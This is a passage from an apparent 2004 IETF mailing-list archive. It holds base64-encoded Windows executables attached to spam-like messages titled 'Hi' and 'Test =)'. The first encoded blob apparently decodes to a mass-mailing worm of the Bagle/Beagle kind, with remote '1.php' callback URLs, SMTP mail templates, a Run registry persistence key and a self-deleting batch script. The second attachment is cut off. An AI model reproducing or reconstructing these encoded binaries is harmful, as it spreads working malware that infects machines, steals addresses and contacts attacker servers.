DP9SEGoUjUXsUOht7v//agnoEPH//4PAA1CNRexQ6Hzu//+NRexQaLNXQABT6K3u//9QU+i7 EAAAW4XbdalbycIIAFWL7IPE7FZXUzP//3UI/3UM6CQEAACJRfSNRfhQ6Onx////dfj/dfTo Qv///2gAIAAAakDochAAAIlF8I1F/FDoxvH//7kZAAAAhs1RagD/dRDoB/n//4XAD4QWAgAA i9hqD2gABAAA/3X8U+hj+P//hcAPhPYBAAD/dfzos/7//z0yMjAAD4XjAQAAi3XwgcYACAAA aAAEAABW6JUQAABWaHtXQAD/dfDoXRAAAIPEDP918OhMEAAAagBQ/3XwU+iOEAAAag9oAAQA AP91/FPo//f//4XAD4SSAQAA/3X86E/+//89MjUwAA+FfwEAAGiFV0AA6AsQAABqAFBohVdA AFPoSxAAAGoPaAAEAAD/dfxT6Lz3//+FwA+ETwEAAP91/OgM/v//PTI1MAAPhTwBAAD/dQxo jFdAAP918OjIDwAAg8QM/3Xw6LcPAABqAFD/dfBT6PkPAABqD2gABAAA/3X8U+hq9///hcAP hP0AAAD/dfzouv3//z0yNTAAD4XqAAAA/3UIaJ1XQAD/dfDodg8AAIPEDP918OhlDwAAagBQ /3XwU+inDwAAag9oAAQAAP91/FPoGPf//4XAD4SrAAAA/3X86Gj9//89MjUwAA+FmAAAAGis V0AA6CQPAABqAFBorFdAAFPoZA8AAGoPaAAEAAD/dfxT6NX2//+FwHRs/3X86Cn9//89MzU0 AHVd/3X46I3w//+LVfiLEo1F7FBoAAQAAP918P91+P9SDIN97AB2FGoA/3Xs/3XwU+gODwAA hcB+JuvPag9oAAQAAP91/FPoefb//4XAdBD/dfzozfz//z0yNTAAdQFHU+iuDgAA/3X86KHv ////dfDoLA4AAP91+OiR7////3X06Inv//+Lx1tfXsnCDABVi+xWU2pAagD/dQzowg4AAAvA dB9AUOgw/P//i/ALwHQSVv91CP91DOh5AwAAVujfDQAAW17JwggAVYvsU1ZXi3UQVugeDgAA UIt9FGoQakDotw0AAIvYi1UIi00MgzoAdQSJGusHUYsJiVkIWYkZWIPABFBqQOiRDQAAiQP/ dRBQ6NoNAACJewT/dRiPQwxfXlvJwhQAVYvsgcQk////jUXQUOg0DQAAah6NReFQaLxXQACN RdBQagBqCegKDQAAjUXhUP91COiUDQAAah6NReFQaNBXQACNRdBQaghqCegWDQAAjUXhUP91 COhkDQAAjYUk////UOgEDQAAi4Uk////99iZuTwAAAD3+YXSfQL32lJQaNpXQACNReFQ6EoN AACDxBCAfeEwdQTGReErjUXhUP91COgZDQAAycIEAFWL7IPEsGoUjUXiUOhK6v//ahONReJQ 6GLq//+NRbBQ6DL///9qQGoA/3UM6GINAAALwHQjkv91EFKNReJQ/3UM/3UIjUWwUGisVEAA /3UU6NgMAACDxCDJwhAAVYvsg8TYjUX8UOjC7f//aAAIAABqQOhWDAAAiUXYah6NRd5Q6Nbp //9qD41F3lDoDur///912I1F3lD/dQj/dQzoXv////912Oh9DAAAi1X8ixJqAFD/ddj/dfz/ UhCNRd5QaD5VQAD/ddjoYQwAAIPEDP912OhQDAAAi1X8ixJqAFD/ddj/dfz/UhCLVfyLEmoA aixoZ1ZAAP91/P9SEItV/IsSagBqAmjjV0AA/3X8/1IQjUXeUGieVUAA/3XY6AwMAACDxAz/ ddjo+wsAAItV/IsSagBQ/3XY/3X8/1IQi1X8ixJqAP81GH9AAP81FH9AAP91/P9SEI1F3lBo TVZAAP912OjGCwAAg8QM/3XY6LULAACLVfyLEmoAUP912P91/P9SEP912OhICwAAi0X8ycII AFdTagBqAGoA6MIKAACjRoFAAMcFKoFAAAAAAADHBS6BQAAAAAAAuwUAAAC/MoFAAGoMakDo AgsAAPyrS3XyW1/DVYvsg8T0U1czwItdCGr//zVGgUAA6BYLAACLSwQLyXRc/zGPRfz/cQSP Rfj/cQyPRfT/cQiPQwRR6MIKAAD/NUaBQADozwoAAL8DAAAA/3X0/3X4/3X86PP5//+FwHUD T3/r/3X86JUKAAD/dfjomQoAAP919OiRCgAA6wv/NUaBQADokAoAAP8Lf4EzwF9bycIEAFWL 7IPE/FNq//81RoFAAOiICgAAgz0qgUAABXIKxwUqgUAAAAAAADPSuAQAAAD3JSqBQAAFMoFA AIvYixv/dRDo4QoAAFD/dQzo2AoAAFpSUP91CI1DCFCNQwRQ6DL8////BSqBQACDOwB1G41F /FBqAFNoeCdAAGoAagDofwkAAFDoVQkAAP8D/zVGgUAA6PAJAABbycIMAFWL7FZTi95OTrEB /Tt1CHI0rDwwcgQ8OXYkPEFyBDxadhw8YXIEPHp2FDwudBA8X3QMPC10CArAdQsKyXQHi95D isjrx/yLw1teycIEAFWL7FZTi978sQE7dQhzM6w8MHIEPDl2JDxBcgQ8WnYcPGFyBDx6dhQ8 LnQQPF90DDwtdAgKwHUKCsl0BoveisjryIvDW17JwgQAVYvsi0UMK0UIg/gCfAm4AQAAAMnC CAAzwMnCCABVi+xqLmoA/3UI6M8JAAALwHQUUOhZCQAAg/gCdwQzwOsFuAEAAADJwggAVYvs gcQA/v//VldTx0X0AAAAAIt1CIl1/P91DI9F+AF1+Dt1+A+DowAAAP9F9IF99BAnAAB1DmoB 6NMIAADHRfQAAAAA/Kw8QHV+Vv91/OjM/v//i9j/dfjoEP///4vIK8uB+fQBAABzXoP5BXZZ /Ivzjb0A/v//M9KsCsB0B6o8QHUCi9fi8jPAqgvSdDlSjYUA/v//UOirCAAAWoP4BXYmUo2F AP7//1DoCf///4vYV1LoHf///yPYC9t0Co2FAP7//1D/VRBe6VT///9bX17JwgwAVYvsg8T4 U2oAagBqA2oAagFoAAAAgP91COiCBwAAiUX8QHRaagD/dfzotAcAAIlF+EB0QmoAagBqAGoC agD/dfzoYAcAAAvAdCyL2GoAagBqAGoEUOjWBwAAC8B0ElD/dQz/dfhQ6MD+///o2AcAAFPo GAcAAP91/OgQBwAAW8nCCABoiBMAAGhKgUAA6Djq//+NBU6BQADGAADDVYvsV78yUEAA/IvX M8CDyf/yrlL/dQjoLAgAAAvAdAczwF/JwgQAgD8Add24AQAAAF/JwgQAVYvs/3UI6L////8L wHUEycIEAP91COis6f//UGiIEwAAaEqBQADo5+n//wvAdDCAPU6BQAAAdQ3/dQj/dQjo9vj/ /+sN/3UIaE6BQADo5/j///91CGhOgUAA6DsHAADJwgQAVYvsV78cUEAA/IvXM8CDyf/yrlL/ dQjokwcAAAvAdBJoLCtAAP91COie/v//X8nCBACAPwB10l/JwgQAVYvsg8T0V2gABAAAagDo oAYAAIlF+Gg+AQAAagDokQYAAIlF9P91COjUBgAAi/ho51dAAP91COizBgAA/3X0/3UI6AwG AACJRfxAdHCLRQjGBAcAi1X0jVIsZoM6LnQ/ZoE6Li50OFL/dQjofwYAAItV9I0S9wIQAAAA dBpo5VdAAP91COhlBgAA/3UM/3UI6Gv////rCP91COgl////agHoJQYAAP919P91/OioBQAA hcB1mP91/OiQBQAA/3X46PQFAAD/dfTo7AUAAF/JwggAVYvsg8T8aAAAAQBqQOjDBQAAiUX8 /3UIUOgLBgAAUFDoCf////91/OiuBQAAycIEAFWL7IPE/FZTaAAgAABqQOiQBQAAiUX8/3X8 aP8fAADoVgUAAIt1/IA+AHQcVug2BQAAg/gDdQZW6JL///9W6LsFAAAD8Ebr3/91/OhaBQAA W17Jw2oAagDoJQYAAAvAdAHDaNAHAADoXAUAAOvmw1WL7IPElFNWaAAEAABqQOghBQAAiUX4 aM1WQAD/NQNQQAD/dQhoXlBAAP91+OhjBQAAg8QU6Kv///9qAGoAagBqAWjrV0AA6M0FAACJ RfxqAGgAAABAagBqAP91+FDovAUAAJML23QGU+ifBQAA/3X86JcFAAD/dfjovQQAAJNeW8nC BABX6KHo//8LwHUF6LPj//+/bVBAAPyL1zPAg8n/8q5S6Ff///+APwB17F/DVYvs6M3///9o wCcJAOiXBAAA6+8zwMnCBABVi+yDxPyNRfxQagBqAGjtLUAAagBqAOjpAwAAUOi/AwAAycNV i+yBxKD+//9WV1Nq//81HH9AAOhkBAAAxkX/AMaFrv7//wBqCI2Fr/7//1Doo+H///91DOgc 5v//agBqBWoB/3UM/3UI6Fnr//+FwA+EXAIAAP91DOjo5f//i1UMixJqAGoBjYWu/v//UP91 DP9SDP91DOjd5f//gL2u/v//AnQXgL2u/v//A3QOgL2u/v//BHQF6RYCAABqBWoAaMgAAAD/ dQz/dQjoYOv//4XAD4T6AQAA/3UM6Ibl//+LVQyLEmoAaMgAAACNhTf///9Q/3UM/1IM/3UM 6Hjl//9oAFBAAI2FN////1DopgMAAAvAdAXptwEAAPyNvTf///+4AQAAAKuhA1BAAKtqAGoI jYU3////UP91COjRAwAAgL2u/v//AnQNgL2u/v//Aw+FbQEAAGoAagRqBP91DP91COhf6v// hcAPhGIBAAD/dQzo7uT//4tVDIsSagBqBI2FqP7//1D/dQz/Ugz/dQzo4+T//2oAagT/taj+ ////dQz/dQjoHOr//4XAD4QfAQAA/3UM6Kvk//9oBAEAAI2FN////1DomAIAAGoFjYWv/v// UOhB4P//aPlXQACNhTf///9Q6McCAACNha/+//9QjYU3////UOi0AgAAaAdYQACNhTf///9Q 6KMCAABqAGoAagJqAGoCaAAAAECNhTf///9Q6MgBAACJhaD+//9AD4SbAAAAi1UMixKNhaT+ //9QaIAAAACNhbf+//9Q/3UM/1IMg72k/v//AHQjagCNhaT+//9Q/7Wk/v//jYW3/v//UP+1 oP7//+gtAgAA67b/taD+///oVAEAAIC9rv7//wN1EWgBWEAAjYU3////UOgMAgAAagCNhTf/ //9Q6PIBAACAva7+//8DdRXouuD//+sOgL2u/v//BHUF6Krg////dQjoCAIAAP81HH9AAOij AQAAM8BbX17JwggAVYvsg8TwVldT/wVYV0AAjUX8UOjE4v//agFqBWoI/3X8/3UI6LDo//// dfzoR+P//2oIjUX0UOjO3v//i1X8ixJqAGoIjUX0UP91/P9SDI119IA+Q3UagH4B/3UUZoN+ Av91Df91/P91COjG/P//6wLrAusI/3UI6HcBAAD/dfzoauL///8NWFdAADPAW19eycIEAGoA 6JUBAADon+b//4M9A1BAAAB1FGjIrwAA6AHh//8FiBMAAKMDUEAAaFxXQABo9jBAAP81A1BA AOiw6v//6Dr8//+DPVRXQAAAdAXo8/r//2joAwAA6LEAAADr9Mz/JaRAQAD/JbhAQAD/JbRA QAD/JbBAQAD/JaxAQAD/JZxAQAD/JaBAQAD/JahAQAD/JSRAQAD/JShAQAD/JSxAQAD/JTBA QAD/JTRAQAD/JThAQAD/JTxAQAD/JUBAQAD/JURAQAD/JUhAQAD/JUxAQAD/JVBAQAD/JVRA QAD/JVhAQAD/JVxAQAD/JWBAQAD/JbxAQAD/JWRAQAD/JWhAQAD/JWxAQAD/JXBAQAD/JXRA QAD/JXhAQAD/JXxAQAD/JYBAQAD/JYRAQAD/JYhAQAD/JYxAQAD/JZBAQAD/JZRAQAD/JZhA QAD/JeRAQAD/JTBBQAD/JShBQAD/JSRBQAD/JSBBQAD/JRxBQAD/JRhBQAD/JRRBQAD/JQxB QAD/JQBBQAD/JQRBQAD/JQhBQAD/JRBBQAD/JSxBQAD/JcRAQAD/JchAQAD/JdxAQAD/JdRA QAD/JdhAQAD/JdBAQAD/JfhAQAD/JfRAQAD/JfBAQAD/JexAQAD/JRRAQAD/JRBAQAD/JQxA QAD/JQhAQAD/JRxAQAD/JQBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhHAAAAAAAAdkcAAGJHAABSRwAA REcAAAAAAACWRwAAAAAAALZDAADCQwAA1EMAAORDAAD2QwAACEQAABhEAAAmRAAANkQAAFBE AABmRAAAfEQAAIxEAACeRAAAuEQAANBEAADsRAAA+kQAAAZFAAAWRQAAJkUAAC5FAABGRQAA WEUAAG5FAAB4RQAAhEUAAJBFAACcRQAAqEUAAIhDAACYQwAAOEMAAKhDAAByQwAAZEMAAFhD AABGQwAA3kQAAAAAAAB2RgAAhkYAAAAAAADKRgAAskYAAL5GAACoRgAAAAAAAMJFAAAAAAAA JEcAABRHAAD4RgAA4kYAAAAAAAA8RgAARkYAAE5GAAAwRgAAWEYAACJGAAASRgAACEYAAPpF AADyRQAA6EUAAGBGAADaRQAAAAAAACRCAAAAAAAAAAAAALRFAAAkQAAA5EIAAAAAAAAAAAAA zkUAAORAAAAAQwAAAAAAAAAAAABqRgAAAEEAAMRCAAAAAAAAAAAAAJ5GAADEQAAA0EIAAAAA AAAAAAAA1kYAANBAAADsQgAAAAAAAAAAAAA4RwAA7EAAAAhCAAAAAAAAAAAAAIhHAAAIQAAA HEIAAAAAAAAAAAAAqkcAABxAAAAAQgAAAAAAAAAAAADIRwAAAEAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuEcAAAAAAAB2RwAAYkcAAFJHAABERwAAAAAAAJZHAAAAAAAAtkMAAMJDAADUQwAA 5EMAAPZDAAAIRAAAGEQAACZEAAA2RAAAUEQAAGZEAAB8RAAAjEQAAJ5EAAC4RAAA0EQAAOxE AAD6RAAABkUAABZFAAAmRQAALkUAAEZFAABYRQAAbkUAAHhFAACERQAAkEUAAJxFAACoRQAA iEMAAJhDAAA4QwAAqEMAAHJDAABkQwAAWEMAAEZDAADeRAAAAAAAAHZGAACGRgAAAAAAAMpG AACyRgAAvkYAAKhGAAAAAAAAwkUAAAAAAAAkRwAAFEcAAPhGAADiRgAAAAAAADxGAABGRgAA TkYAADBGAABYRgAAIkYAABJGAAAIRgAA+kUAAPJFAADoRQAAYEYAANpFAAAAAAAAGgBDbG9z ZUhhbmRsZQAdAENvbXBhcmVGaWxlVGltZQAkAENvcHlGaWxlQQAwAENyZWF0ZUZpbGVBADEA Q3JlYXRlRmlsZU1hcHBpbmdBAAA7AENyZWF0ZU11dGV4QQAARgBDcmVhdGVUaHJlYWQAAIAA RXhpdFByb2Nlc3MAjwBGaW5kQ2xvc2UAkwBGaW5kRmlyc3RGaWxlQQAAnABGaW5kTmV4dEZp bGVBAMgAR2V0Q29tbWFuZExpbmVBAN8AR2V0RGF0ZUZvcm1hdEEAAOgAR2V0RHJpdmVUeXBl QQD1AEdldEZpbGVTaXplAP4AR2V0TG9jYWxUaW1lAAABAUdldExvZ2ljYWxEcml2ZVN0cmlu Z3NBAAcBR2V0TW9kdWxlRmlsZU5hbWVBAAA8AUdldFN5c3RlbURpcmVjdG9yeUEAUgFHZXRU aWNrQ291bnQAAFMBR2V0VGltZUZvcm1hdEEAAFUBR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAA YgFHZXRXaW5kb3dzRGlyZWN0b3J5QQAAZwFHbG9iYWxBbGxvYwBuAUdsb2JhbEZyZWUAAKoB TG9jYWxBbGxvYwAArgFMb2NhbEZyZWUAugFNYXBWaWV3T2ZGaWxlAP0BUmVsZWFzZU11dGV4 AABgAlNsZWVwAGUCU3lzdGVtVGltZVRvRmlsZVRpbWUAAHcCVW5tYXBWaWV3T2ZGaWxlAI8C V2FpdEZvclNpbmdsZU9iamVjdACUAldpbkV4ZWMAngJXcml0ZUZpbGUAtQJsc3RyY2F0QQAA uQJsc3RyY21waUEAuwJsc3RyY3B5QQAAvwJsc3RybGVuQQAAa2VybmVsMzIuZGxsAABiAndz cHJpbnRmQQB1c2VyMzIuZGxsAAAhAFdTQVN0YXJ0dXAAACQAYWNjZXB0AAAlAGJpbmQAACYA Y2xvc2Vzb2NrZXQAJwBjb25uZWN0ACoAZ2V0aG9zdGJ5bmFtZQArAGdldGhvc3RuYW1lADYA aW5ldF9hZGRyADoAbGlzdGVuAAA+AHJlY3YAAEMAc2VsZWN0AABEAHNlbmQAAEkAc29ja2V0 AAB3c29jazMyLmRsbAAxAENvSW5pdGlhbGl6ZQAAawBDcmVhdGVTdHJlYW1PbkhHbG9iYWwA b2xlMzIuZGxsANcAU3RyRHVwQQDmAFN0clJDaHJBAADzAFN0clN0cklBAAD6AFN0clRyaW1B AABzaGx3YXBpLmRsbABpAEludGVybmV0Q2xvc2VIYW5kbGUAewBJbnRlcm5ldEdldENvbm5l Y3RlZFN0YXRlAIYASW50ZXJuZXRPcGVuQQCHAEludGVybmV0T3BlblVybEEAAHdpbmluZXQu ZGxsAIABUmVnQ2xvc2VLZXkAgwFSZWdDcmVhdGVLZXlBAKMBUmVnUXVlcnlWYWx1ZUV4QQAA rgFSZWdTZXRWYWx1ZUV4QQAAYWR2YXBpMzIuZGxsAAAqAEdldE5ldHdvcmtQYXJhbXMAAGlw aGxwYXBpLmRsbAAAbgBTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMTIAeRoAADE1MS4yMDEuMC4zOQAAAAAA AAAAAC53YWIALnR4dAAuaHRtAC5odG1sAAAucjEAQGhvdG1haWwuY29tAEBtc24uY29tAEBt aWNyb3NvZnQAQGF2cC4AACVzP3A9JWx1JmlkPSVzAGh0dHA6Ly93d3cuZWxyYXNzaG9wLmRl LzEucGhwAGh0dHA6Ly93d3cuaXQtbXNjLmRlLzEucGhwAGh0dHA6Ly93d3cuZ2V0eW91cmZy ZWUubmV0LzEucGhwAGh0dHA6Ly93d3cuZG1kZXNpZ24uZGUvMS5waHAAaHR0cDovLzY0LjE3 Ni4yMjguMTMvMS5waHAAaHR0cDovL3d3dy5sZW9uemVybml0c2t5LmNvbS8xLnBocABodHRw Oi8vMjE2Ljk4LjEzNi4yNDgvMS5waHAAaHR0cDovLzIxNi45OC4xMzQuMjQ3LzEucGhwAGh0 dHA6Ly93d3cuY2Ryb21jYS5jb20vMS5waHAAaHR0cDovL3d3dy5rdW5zdC1pbi10ZW1wbGlu LmRlLzEucGhwAGh0dHA6Ly92aXB3ZWIucnUvMS5waHAAaHR0cDovL2FudG9sLWNvLnJ1LzEu cGhwAGh0dHA6Ly93d3cuYmFncy1kb3N0YXZrYS5tYWdzLnJ1LzEucGhwAGh0dHA6Ly93d3cu NXgxMi5ydS8xLnBocABodHRwOi8vYm9zZS1hdWRpby5uZXQvMS5waHAAaHR0cDovL3d3dy5z dHRuZ2RhdGEuZGUvMS5waHAAaHR0cDovL3doOS50dS1kcmVzZGVuLmRlLzEucGhwAGh0dHA6 Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4 ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93 d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3 dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0 dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0 dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0 L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6 IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0 ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+ /v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ----------462482681382150-- From owner-ietf-sasl Mon Jan 19 20:30:27 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0K4UQib062368; Mon, 19 Jan 2004 20:30:26 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0K4UQSw062367; Mon, 19 Jan 2004 20:30:26 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from hope (c-24-12-6-193.client.comcast.net [24.12.6.193]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0K4UOic062360 for ; Mon, 19 Jan 2004 20:30:25 -0800 (PST) (envelope-from jgmyers@netscape.com) Date: Mon, 19 Jan 2004 22:31:49 -0600 To: ietf-sasl@imc.org Subject: Hi From: jgmyers@netscape.com Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------572668853471687" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: ----------572668853471687 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Test =) kdirasorulen -- Test, yep. ----------572668853471687 Content-Type: application/x-msdownload; name="gorthh.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="fbou.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL 